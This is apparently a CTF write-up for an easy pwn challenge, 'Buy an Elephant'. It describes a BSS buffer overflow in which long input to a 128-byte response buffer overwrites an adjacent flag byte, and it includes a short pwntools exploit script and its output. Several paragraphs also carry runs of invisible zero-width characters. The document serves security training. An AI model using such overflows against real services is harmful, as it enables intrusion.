Купи слона (Buy an Elephant)

Platform: HackerLab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-01-12 | Status: Solved Techniques: adjacent_buffer_overflow, flag_byte_overwrite, static_analysis

Summary

Server: 192.169.2.100:27760 (VPN) Files: task.zip containing ELF 64-bit binary

Купи слона (Buy an Elephant) - HackerLab

Description

"Все говорят "хочу флаг", а ты купи слона" (Everyone says "I want a flag", but you buy an elephant)

Server: 192.169.2.100:27760 (VPN) Files: task.zip containing ELF 64-bit binary

Analysis

Binary Information

64-bit ELF executable with the following logic:

1. Displays ASCII art of an elephant
2. Prompts for username (reads 16 bytes via fgets)
3. Outputs a message from "Vanya": "Buy an elephant"
4. Enters a loop reading user responses (256 bytes)
5. On input "q" - exits the loop and checks the flag byte at address 0x4051a0
6. If flag byte != 0 - calls print_flag(), which reads the FLAG environment variable ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Addresses

Vulnerability

After entering the name, the flag byte at address 0x4051a0 is set to 0 (at address 0x40150b).

However, the buffer for building the response string is only 128 bytes and is located directly before the flag byte in the BSS section. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When user input is concatenated into the string "Everyone says \"[INPUT]\", but you need to buy an elephant", with sufficiently long input the 128-byte buffer overflows and overwrites the flag byte with a non-zero value.

Memory Layout

0x405120: [128-byte buffer for response string]
0x4051a0: [flag_byte] <- overflow target

Solution

Exploitation Steps

1. Connect to the server
2. Enter any name
3. Send a long payload (120+ characters) to overflow the buffer and set the flag byte to a non-zero value
4. Send "q" to exit the loop
5. The program checks the flag byte, finds it non-zero, and prints the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

HOST = "192.169.2.100"
PORT = 27760

p = remote(HOST, PORT)

# Wait for name prompt
p.recvuntil(b"Enter your name:")
p.sendline(b"test")

# Send overflow payload to set flag byte
payload = b"A" * 120
p.recvuntil(b": ")
p.sendline(payload)

# Send "q" to quit and get flag
p.recvuntil(b": ")
p.sendline(b"q")

response = p.recvall(timeout=3)
print(response.decode())
p.close()

Output

(Mon, 26:14:06) Vanya: Everyone says "AAAA...", but you need to buy an elephant
(Mon, 26:14:06) test: Your flag: CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tools Used

• radare2 - disassembly and binary analysis
• pwntools - exploit development
• strings, file, objdump - initial analysis

Attack Category

Buffer Overflow → Global Variable Overwrite

Classic buffer overflow vulnerability in the BSS section, where adjacent global variables can be overwritten when bounds checking is absent. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍